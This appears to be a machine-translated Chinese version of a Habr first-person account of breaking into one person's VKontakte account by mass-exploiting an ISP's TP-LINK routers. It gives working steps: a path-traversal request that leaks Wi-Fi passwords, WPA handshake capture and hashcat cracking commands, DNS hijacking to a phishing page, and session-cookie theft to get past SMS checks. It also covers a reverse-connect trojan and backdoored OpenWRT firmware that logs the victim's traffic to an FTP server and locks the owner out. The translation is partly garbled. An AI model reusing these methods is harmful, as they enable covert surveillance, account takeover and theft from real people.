TP-LINK路由器中的哪些漏洞可能导致

实际上,本文不仅将讨论TP-LINK路由器中的漏洞,还将讨论如何从此类路由器远程建立黑客站,以及如何实现此目的。并且还介绍了如何使用它来访问VKontakte页面。这是一个关于大型黑客的故事,其中包括以上所有内容。

我花了一次时间来访问一个人的VK页面,同时对用户来说是尽可能看不见的,所以我开始寻找方法。对我来说,发生的第一件事是将木马交给受害者,因为我已经为IP +隐藏的VLC播放器准备了一个带有反向连接的隐藏的TightVNC,它可以将来自麦克风的声音实时传输到我的IP。但是,根本没有将其定义为VirusTotal上的恶意软件。但是这篇文章根本不是关于这一点的。结果,我设法获得了木马,并获得了VK的访问权限(只是通过从受害者的浏览器中复制cookie来进行访问),但是不久之后,该操作系统便重新安装到了用户计算机上,我不得不寻找另一种方法。

我唯一知道的是受害者有哪个提供者。好吧,我首先扫描了这个臭名昭著的城市N提供商的整个范围(出于显而易见的原因,我将不致电该提供商),我发现了一个奇妙的事情:8080端口在大多数主机上都是开放的,立即清楚地知道这是一个Web界面路由器。我已经希望使用默认的admin admin(这样对提供商来说是完全崩溃了),但是没有,我找不到密码,尽管我仍然找到了十几个默认密码所在的路由器。事实证明,所有路由器中有90%是TP-Link TL-WR741ND,而较少使用740N,841N,941ND。

图片

这里的一切都非常清楚:提供商将相同的路由器租给用户,在安装过程中对其进行配置以进行安装,对于用户来说,更改这些设置实在太懒了。它变得越来越有趣。当然,在这种情况下,设置中应该有一些模式,即密码可能相同。我决定在Google中搜索这些模型中是否存在任何漏洞,令我惊讶的是,当时发现了很多漏洞。引起我注意的第一件事是文章“ TP-LINK路由器中的后门”

我立即决定检查此漏洞。文件已上传到路由器,但他不接受它们,然后我开始考虑此nart.out的全部含义。这是一个MIPS二进制文件,本质上可以是任何应用程序,您只需要构建它即可。首先,我开始寻找现成的版本,因为在此之前,我几乎不需要处理交叉编译。令我惊讶的是,就在那一刻,另一个人对这个问题感兴趣:Specx2(我建议顺便阅读他的文章关于如何通过路由器组装黑客站的方法,实际上,我最后只是远程进行了操作)。顺便说一下,他设法在一个中国论坛中的MIPS下找到了在MIPS下编译的netcat。该二进制文件已在QEMU下成功启动,并通过找到的后门成功注入了路由器,但由于某种原因,它无法连接到路由器:它只是没有连接。 Specx2同志建议,关键可能是端口2222可能只是关闭了,您需要以某种方式使netcat在另一个端口上运行。

我们尝试自己为MIPS编译netcat,但未能设置默认端口选项。接下来,我们使用了反汇编程序,但同样失败。然后,我决定用通常的记事本++打开此二进制文件,令我惊讶的是,我在那找到了梦vet以求的2222。这个数字可以很容易地更改为其他任何数字,主要是文件中的字符数没有变化。端口确实发生了变化,所有内容都在QEMU上进行了测试,但是我们仍然无法在路由器上使用它。

我没有放弃对路由器的控制权的尝试,而是开始寻找其他漏洞。不久,我遇到了这个职位。确实如此:在841和941型号上,
/userRpmNatDebugRpm26525557/linux_cmdline.html

仅在这里仍需要知道路由器的密码,该提供商的用户基本上拥有741种型号。我设法找到了带有默认密码和此外壳的路由器,尽管它被截断了。因此,我可以访问路由器的文件系统。不幸的是,我找不到任何有价值的东西,并且外壳无法正常工作。开发人员是否真的通过它进行调试?

很长一段时间以来,我似乎一无所获,只有一个线索。但是有消息告诉我,仍然存在漏洞。然后我发现路由器不过滤GET请求。也就是说,默认情况下,如果密码输入错误,则会打开/帮助页面,但是例如,如果我们发出此请求:
GET IP:port/help/../../

然后,我们将到达路由器文件系统的根目录。因此,我们甚至可以在不知道密码的情况下从FS路由器下载几乎所有文件。事实证明,这是我发现的所有第一个成功工作的漏洞。但是,如果我们只能下载文件却不知道密码存储在什么地方,它将给我们带来什么?

短暂搜索后,我仍然设法在/tmp/ath0.ap_bss中找到了一个有趣的文件,该文件以清晰的形式存储了Wi-Fi的密码。我立即决定在此提供程序的用户的路由器之一上进行检查。
GET IP:8080/help/../../tmp/ath0.ap_bss

事实证明,人们在那里很懒惰,并在路由器和Wi-Fi的Web界面上输入相同的密码,因此,当我们使用此漏洞学习Wi-Fi密码时,我们将自动从Web界面识别密码。这通常是8位数字。较不常见的是带有字母的数字。再次,8.从现在开始,我几乎可以访问几乎所有未更改提供者设置的密码的用户的路由器,并且几乎没有人更改过它。的确,有些路由器仍具有最新的固件版本,并且此漏洞不起作用,但是数量不多。立刻我发现了另一个有趣的观点。所有点的SSID包含用户内部IP地址的后半部分,而前半部分则全部相同。事实证明,该密码与该站点上的个人帐户中的密码相同。内部IP的后半部分是合同号。也就是说,通过用户协议的数量,可以计算内部IP。

尽管所有用户都有一个真实的外部IP(尽管是动态的),但我还是决定在几台ASUS路由器上建立一个VPN服务器,其中有一个默认密码。幸运的是,此功能已缝入默认固件。因此,我可以访问提供商的内部网络。

但是在入侵之前,VK仍然很遥远。我什至不认识知识产权受害者。既不外部也不内部。有很多方法可以找出外部IP,而我做到了。好吧,让我们开始学习。首先,他回答了ping请求,这已经很好了。其次,我知道受害者也有一个具有相同型号的路由器(由于绝大多数用户都安装了Windows,并且Windows的默认TTL是128,因此TTL也可以理解)。但是,令我深感遗憾的是,受害者的所有港口都被关闭了,无法从外部访问网络犯罪。但是我知道无论如何它都是通过LAN进行的,但是为此,我们需要通过无线接口连接到该路由器,并获取管理面板的密码,这将是一个很大的问题,因为当时我找不到它它的存储位置。虽然现在我已经知道它存储在什么/ dev / mtdblock3,但未安装此块,因此无法通过描述的漏洞读取它。

我还了解到,通过VPN连接访问Internet的登录名是用户或用户名的缩写和姓氏,并且密码是相同的。我开始思考,如何找到所需的用户?也许那时我仍然犯了定义IP的错误,并且在尝试连接到Webmord时它已经设法更改了?首先想到的是所有路由器的简单枚举。但是提供商的订户数量很大。扫描整个范围后,我发现大约3,000台路由器可以远程访问Web界面。而且有必要以某种方式在他们当中找到合适的(如果有的话)。

首先,我尝试编写一个脚本,使用发现的漏洞识别密码,然后下载网络设置页并保存。但是我对此无能为力,并且一段时间后放弃了这个主意,因此决定使用常规的答题器。悲痛欲绝,我(或更确切地说,是单击器)处理了整个范围。接下来,我搜索了设置文件(希望通过vpn连接在登录名中找到姓氏的受害者),但没有找到我需要的东西。

我开始进一步研究,发现任何被黑的路由器都可以通过基于Web的界面扫描其周围的访问点。因此,我有个疯狂的主意:利用此漏洞破解受害者的邻居,以便我只要用几千公里就没有信心的话,就可以尝试使用他的路由器破解受害者的Wi-Fi密码并通过LAN进入Web界面。成功是不合理的,而且根本没有可能。但是要实现当时的构想似乎是不可想象的。如何找到邻居?

回想一下,内部IP的第二部分包含在SSID中。它与合同号一致。知道用户访问点的SSID会很高兴,以便您可以找到它。我做了什么?是的,我只是拿了它并写信给提供商的技术支持,向我介绍了自己的用户身份,据说我想为互联网付费,但我忘记了合同号。因为我知道姓名和地址,所以我立即收到了答案。因此,我识别出受害者的内部IP,而该IP是静态的(因此,不断计算动态外部是没有意义的,因为可以通过其中一个被入侵的路由器通过VPN访问内部网络)。我还获得了该用户的估计SSID,因此我已经可以使用它了。

任务是连续进入所有路由器,其中一个在该区域中找到具有令人垂涎的SSID的路由器。这项任务又不是一件容易的事,但请记住,我们已经可以访问您的个人帐户,并在该帐户上显示用户住所的地址。经过几次实验,我意识到内部IP和用户地址之间存在某种模式。也就是说,邻居不必在同一子网上,但至少在相邻的子网上,例如:10.168.155.0和10.168.158.0。因此,通过科学戳的方法找到了住在受害者附近的用户,我开始对相邻子网中的所有路由器进行分类。结果,我找不到令人垂涎的SSID,但是在帐户中看到他们的地址后,我找到了2个邻居。我的脑袋爆炸了:怎么可能,我找到邻居了,但是附近没有合适的接入点。然而,她只是更改了SSID,我猜是哪一个。事实证明这很容易。

精细!但是,发现路由器和它的邻居一样,花费了很多时间。接下来是什么?我们需要以某种方式从无线网络中获取密码,但是为此,我们需要拦截握手并从中获取密码(保护是WPA2-PSK),或者获取WPS PIN,因为默认情况下WPS是启用的,但是在大多数路由器上10次​​无效尝试后被阻止。我们如何至少实现其中的一些?实际上,在邻居的路由器上没有专门的软件。然后想到重新刷新其OpenWRT路由器的想法,因为该固件最接近真正的Linux,并且还提供aircrack-ng,reaver和许多其他软件包。Specx2同志甚至欺负者也聚集在它下面。只有一个问题:如何远程刷新路由器而不丢失访问权限?毕竟,在闪烁之后,所有设置都将重置为默认值。

长期以来,我一直为这个问题感到痛苦,我认为有必要从源头开始收集所有固件,并以某种方式预驱动那里的设置,但事实证明一切都变得简单得多。我什至不知道OpenWRT Image Builder的存在我很快就找到了答案,但是我必须选择正确的软件包,因为固件的容量不能超过4MB,而且由于很多人拖着一大堆依赖项,所以这个体积很小。下一个问题是,只有与提供商的服务器建立VPN连接后,用户才能访问Internet,但是随后所有流量都进入了隧道,而我与路由器失去了联系。所以,愿我的邻居原谅我,我离开他时没有上网。成功刷新了路由器(在不成功的实验过程中使数十名用户无法上网之后),我立即将路由器的网卡转移到监视模式
ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0

并启动了airodump-ng
airodump-ng mon0 –c _ –bssid MAC__ –w /tmp/123

拦截握手并不困难。我立即使用SCP从路由器下载了转储
scp –P port user@host:/tmp/123-01.cap ~/123.cap

在Wireshark中从不必要的数据包中过滤掉了它:
wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol

转换为.hccap格式的Hashcat。我事先准备了一个小词典,可以帮助我破解许多无线网络,并且还添加了该用户可以使用的所有可能的密码。
oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt

幸运的是,几秒钟后就找到了密码!但是您仍然必须以某种方式以客户端模式连接到路由器!只有这样,邻居路由器的WAN才会再次更改,而我将无法访问它。我仍然不知道如何解决此问题,因此我不得不请一个人做出牺牲,从电话登录并打开远程访问权限(现在我可以假设您只需要预先向固件添加静态路由)。幸运的是,来自Web界面的密码原来是默认的admin admin。

一切顺利!我已经准备了进一步的行动计划。在没有过滤的真实IP上,我提出了DNS服务器,在这里我更改了vk.com的条目,并将其更改为我的IP,在那里我也提出了带有PHP的HTTP服务器。因此,在那里,用vk.com授权页面填充了伪造品,并且在路由器中将DNS服务器更改为我的。登录vk.com的用户发现了我的冒牌货,因此密码是我的,目的就达到了!

很长时间以来,我一直使用这种方法来获取密码,但是一旦打开了vk.com上自吹自login的登录确认信息,根据创建者自己的说法,这几乎是不可能的。最重要的是,从新设备/浏览器进行授权时,如果输入正确的密码,还必须输入来自SMS的代码,该代码将发送到所有者的号码。但是对于这种情况,我早就准备好了尚未经过检验的理论。

首先,我试图了解服务器如何确定输入来自新设备。事实证明一切都很简单:向浏览器添加了一个新的Cookie(如果我的记忆为我服务,则称为remixttpid),该Cookie仅通过加密连接进行传输。并且通过它,服务器已经确定了允许登录的浏览器。如果我没记错的话,User-Agent也必须匹配。因此,我们足以拦截此cookie以成功使用已知密码登录,但这样做非常困难:我们需要通过mitmproxy传递用户的流量,以便它此时也可以登录。另外,用户将注意到浏览器关于证书不匹配的警告。我想为什么这么变态您是否可以拦截现有会话?毕竟,浏览器检查仅在登录时执行,而不会对来自现有会话的任何请求执行!因此,我们只需要拦截remixsid,另外,它通过不安全的连接传输,因为用户不使用https。

问题只在于混音它与用户的IP匹配,并且如果更改,则还会使用login.vk.com的cookie,这些cookie仅通过加密连接进行传输,因此拦截它们将更加困难。但是我很幸运。到那时,提供商开始提供对Internet的访问,而无需建立VPN连接,这意味着我可以提升我的PPTP服务器并在用户路由器的设置中建立与之的连接。因此,我做到了,所有流量都经过了我,用户不知不觉地创建了一个连接到我IP的会话,该会话被毫无问题地拦截了。接下来,我只返回了先前的设置并使用了被拦截的会话(IP的好处是静态的)。短信保护成功破解!

一切都会好起来的,但我并没有就此停下来。事实是,如果用户突然了解问题所在,则只需从路由器设置和Wi-Fi更改密码即可。为了防止这种情况,我开始在用户路由器下构建OpenWRT。有必要预见一切。为了方便地监视受害者的流量,我使用curlftpfs将FTP服务器安装为文件系统。转储被写在那里。这整个过程是这样描述的文章。最初,我计划将云安装为文件系统,为此我使用了davfs2在openWRT下构建也不容易,但问题是该文件先被写入缓存,然后才被倒入云中。因此,文件大小受到缓存大小的限制,这非常小。所以我选择了curlftpfs。使用tcpdump记录了流量,并将流量分为512MB文件。
tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &

其中/ root / ftp / dump是我们的ftp文件系统。所有这些业务都可以放在自动启动(/etc/rc.local)中。
通常,OpenWRT Attitude Adjustment 12.09固件的最后一组软件包如下所示:
make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/

Curlftpfs占用了大部分内存,但是每个ftp给我们提供了无限量的内存。Tcpdump允许您全天候记录受害者的流量,tinyproxy允许您从受害者的IP访问Internet,也就是说,通过拦截remixsid,例如,我们还可以使用tinyproxy从用户的IP输入用户的VK,或者我们可以将其流量重定向到他的这样代理:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port

一般来说,我们可以完全控制流量。您也可以在已安装的ftp文件系统上安装软件包,为此,我们/etc/opkg.conf中指定文件系统的名称和地址后,使用opkg –dest其余的配置也必须预先注册在适当的文件中。
/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
 .

必须预先准备所有这些文件,才能将其嵌入固件中。实际上,除了其他功能之外,这还给我们带来了什么?但是事实是squashfs文件系统是只读的。因此,用户将无法以任何方式更改我设置的默认设置。他将全力以赴,即使通过telnet也无法连接,因为缝入固件的rc.local中,有一行
echo –e “pass\npass” | passwd root

也就是说,路由器加载后会立即切断通过telnet的访问,只有我拥有SSH密码。在此处使用物理按钮重置为默认值也将失败,因为默认值是由我设置并缝入固件的。目标已经实现。

在最近将所有用户转移到IPoE并放弃VPN的情况下,所有这些用户都位于NAT之后,包括我拥有VPN可以访问提供商内部网络的路由器。当然,除了那些已经激活“静态IP”服务的人。但是有一个问题:想要真正IP的人仍应使用VPN来访问Internet。我不得不折磨自己,并使用有线和配置的PPTP客户端(由于某种原因,它确实弯曲了),以及有线和配置的OpenVPN服务器来构建OpenWRT。在实验过程中,许多路由器都死掉了,但最终获得了结果。将这样的固件注入到多个路由器中(剩下的只有几个具有真实IP的路由器),我可以使用OpenVPN稳定地访问内部网络。

连接PPTP VPN的问题是提供商的服务器不支持加密。通过在/etc/ppp/options.pptp中添加一行来解决此问题
nomppe

否则,设置PPTP VPN客户端和OpenVPN服务器的过程与OpenWRT手册没有什么不同。

我希望本文对某人感兴趣,并从中学习一些新知识。

UPD:正如ValdikSS在评论中所写,您可以使用功能更强大的OpenSSH代替curlftpfs + tinyproxy。

Source: https://habr.com/ru/post/zh-CN381573/


All Articles